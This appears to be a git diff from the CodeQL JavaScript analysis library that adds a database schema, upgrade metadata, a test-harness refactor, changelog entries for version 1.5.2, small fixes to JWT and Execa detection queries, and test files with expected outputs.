+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/upgrade.properties b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/upgrade.properties
new file mode 100644
index 000000000000..13f42c6a9d1b
--- /dev/null
+++ b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/upgrade.properties
@@ -0,0 +1,2 @@
+description: Add support for quoted string, intersection and subtraction
+compatibility: backwards
diff --git a/javascript/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll b/javascript/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll
index 9e92f70af69f..42eb94230ae6 100644
--- a/javascript/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll
+++ b/javascript/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll
@@ -4,14 +4,22 @@ private import codeql.util.test.InlineExpectationsTest
 module Impl implements InlineExpectationsTestSig {
   private import javascript
 
-  final private class LineCommentFinal = LineComment;
+  final class ExpectationComment = ExpectationCommentImpl;
 
-  class ExpectationComment extends LineCommentFinal {
-    string getContents() { result = this.getText() }
+  class Location = JS::Location;
+
+  abstract private class ExpectationCommentImpl extends Locatable {
+    abstract string getContents();
 
     /** Gets this element's location. */
     Location getLocation() { result = super.getLocation() }
   }
 
-  class Location = JS::Location;
+  private class JSComment extends ExpectationCommentImpl instanceof Comment {
+    override string getContents() { result = super.getText() }
+  }
+
+  private class HtmlComment extends ExpectationCommentImpl instanceof HTML::CommentNode {
+    override string getContents() { result = super.getText() }
+  }
 }
diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md
index fbd576e4eea7..fef8edd5c801 100644
--- a/javascript/ql/src/CHANGELOG.md
+++ b/javascript/ql/src/CHANGELOG.md
@@ -1,3 +1,17 @@
+## 1.5.2
+
+### Bug Fixes
+
+* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
+  from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
+  attribute is once again functioning as a sink for the `js/xss` query.
+* Fixed a bug that would in rare cases cause some regexp-based checks
+  to be seen as generic taint sanitisers, even though the underlying regexp
+  is not restrictive enough. The regexps are now analysed more precisely,
+  and unrestrictive regexp checks will no longer block taint flow.
+* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
+  valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
+
 ## 1.5.1
 
 No user-facing changes.
diff --git a/javascript/ql/src/change-notes/released/1.5.2.md b/javascript/ql/src/change-notes/released/1.5.2.md
new file mode 100644
index 000000000000..6b0d7b03dece
--- /dev/null
+++ b/javascript/ql/src/change-notes/released/1.5.2.md
@@ -0,0 +1,13 @@
+## 1.5.2
+
+### Bug Fixes
+
+* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
+  from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
+  attribute is once again functioning as a sink for the `js/xss` query.
+* Fixed a bug that would in rare cases cause some regexp-based checks
+  to be seen as generic taint sanitisers, even though the underlying regexp
+  is not restrictive enough. The regexps are now analysed more precisely,
+  and unrestrictive regexp checks will no longer block taint flow.
+* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
+  valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml
index c5775c46013c..7eb901bae56a 100644
--- a/javascript/ql/src/codeql-pack.release.yml
+++ b/javascript/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.5.1
+lastReleaseVersion: 1.5.2
diff --git a/javascript/ql/src/codeql-suites/javascript-ccr.qls b/javascript/ql/src/codeql-suites/javascript-code-quality.qls
similarity index 100%
rename from javascript/ql/src/codeql-suites/javascript-ccr.qls
rename to javascript/ql/src/codeql-suites/javascript-code-quality.qls
diff --git a/javascript/ql/src/experimental/Security/CWE-347/JWT.qll b/javascript/ql/src/experimental/Security/CWE-347/JWT.qll
index ad4a82b67636..2f70938dd8a2 100644
--- a/javascript/ql/src/experimental/Security/CWE-347/JWT.qll
+++ b/javascript/ql/src/experimental/Security/CWE-347/JWT.qll
@@ -7,7 +7,7 @@ DataFlow::Node unverifiedDecode() {
     verify
         .getParameter(2)
         .getMember("algorithms")
-        .getUnknownMember()
+        .getArrayElement()
         .asSink()
         .mayHaveStringValue("none") and
     result = verify.getParameter(0).asSink()
@@ -32,7 +32,7 @@ DataFlow::Node verifiedDecode() {
       not verify
           .getParameter(2)
           .getMember("algorithms")
-          .getUnknownMember()
+          .getArrayElement()
           .asSink()
           .mayHaveStringValue("none") or
       not exists(verify.getParameter(2).getMember("algorithms"))
diff --git a/javascript/ql/src/experimental/semmle/javascript/Execa.qll b/javascript/ql/src/experimental/semmle/javascript/Execa.qll
index 2f301ae0bf8c..624b21c5dac6 100644
--- a/javascript/ql/src/experimental/semmle/javascript/Execa.qll
+++ b/javascript/ql/src/experimental/semmle/javascript/Execa.qll
@@ -72,7 +72,7 @@ module Execa {
     override predicate isShellInterpreted(DataFlow::Node arg) {
       // if shell: true then first and second args are sinks
       // options can be third argument
-      arg = [this.getArgument(0), this.getParameter(1).getUnknownMember().asSink()] and
+      arg = [this.getArgument(0), this.getParameter(1).getArrayElement().asSink()] and
       isExecaShellEnable(this.getParameter(2))
       or
       // options can be second argument
diff --git a/javascript/ql/src/meta/alerts/TaintedNodes.ql b/javascript/ql/src/meta/alerts/TaintedNodes.ql
index da9f7bab6f46..e64788bfc6cd 100644
--- a/javascript/ql/src/meta/alerts/TaintedNodes.ql
+++ b/javascript/ql/src/meta/alerts/TaintedNodes.ql
@@ -4,7 +4,7 @@
  *              via default taint-tracking steps.
  * @kind problem
  * @problem.severity recommendation
- * @tags meta
+ * @tags meta-expensive
  * @id js/meta/alerts/tainted-nodes
  * @precision very-low
  */
diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml
index 13340bf0766b..7556097a440e 100644
--- a/javascript/ql/src/qlpack.yml
+++ b/javascript/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/javascript-queries
-version: 1.5.1
+version: 1.5.2
 groups:
   - javascript
   - queries
diff --git a/javascript/ql/test/ApiGraphs/async-await/wrap-async-in-thunk.js b/javascript/ql/test/ApiGraphs/async-await/wrap-async-in-thunk.js
new file mode 100644
index 000000000000..7e8bd9598341
--- /dev/null
+++ b/javascript/ql/test/ApiGraphs/async-await/wrap-async-in-thunk.js
@@ -0,0 +1,26 @@
+import * as t from "testlib";
+
+async function getData1() {
+    const data = await fetch("https://example.com/content");
+    return data.json(); /* def=moduleImport("testlib").getMember("exports").getMember("foo").getParameter(0).getReturn().getPromised() */
+}
+
+export function use1() {
+    t.foo(() => getData1());
+}
+
+async function getData2() {
+    const data = await fetch("https://example.com/content");
+    return data.json(); /* def=moduleImport("testlib").getMember("exports").getMember("foo").getParameter(0).getReturn().getPromised() */
+}
+
+export function use2() {
+    t.foo(getData2);
+}
+
+export function use3() {
+    t.foo(async () => {
+        const data = await fetch("https://example.com/content");
+        return data.json(); /* def=moduleImport("testlib").getMember("exports").getMember("foo").getParameter(0).getReturn().getPromised() */
+    });
+}
diff --git a/javascript/ql/test/ApiGraphs/dynamic-prop-read/index.js b/javascript/ql/test/ApiGraphs/dynamic-prop-read/index.js
index 14d8b69a741c..cf900bc75254 100644
--- a/javascript/ql/test/ApiGraphs/dynamic-prop-read/index.js
+++ b/javascript/ql/test/ApiGraphs/dynamic-prop-read/index.js
@@ -2,4 +2,4 @@ const MyStream = require('classes').MyStream;
 
 var s = new MyStream();
 for (let m of ["write"])
-    s[m]("Hello, world!"); /* use=moduleImport("classes").getMember("exports").getMember("MyStream").getInstance().getUnknownMember() */
\ No newline at end of file
+    s[m]("Hello, world!"); /* use=moduleImport("classes").getMember("exports").getMember("MyStream").getInstance().getArrayElement() */
diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected
index 04bbd2a2ce0b..97730513195b 100644
--- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected
+++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected
@@ -1,5 +1,10 @@
+| bar.js:5:14:5:14 | x | x |
 | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo |
+| bar.js:12:14:12:17 | iife | iife |
 | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo |
+| closure.js:8:12:8:15 | goog | goog |
+| closure.js:8:12:8:19 | goog.net | goog.net |
 | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType |
+| closure.js:9:12:9:14 | net | net |
 | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType |
 | closure.js:10:12:10:19 | SomeType | goog.net.SomeType |
diff --git a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected
index 32c716421c1e..8c243f7a804a 100644
--- a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected
+++ b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected
@@ -278,7 +278,11 @@ test_JSDocTypeExpr
 | tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 |
 | tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 |
